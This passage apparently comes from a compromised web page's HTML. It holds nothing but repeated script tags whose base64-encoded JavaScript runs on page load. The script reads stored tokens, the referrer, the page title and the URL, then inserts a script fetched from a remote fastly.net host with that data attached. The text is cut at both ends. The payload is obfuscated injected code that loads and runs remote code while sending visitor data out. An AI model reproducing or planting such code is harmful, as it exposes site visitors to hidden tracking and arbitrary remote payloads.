pbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVx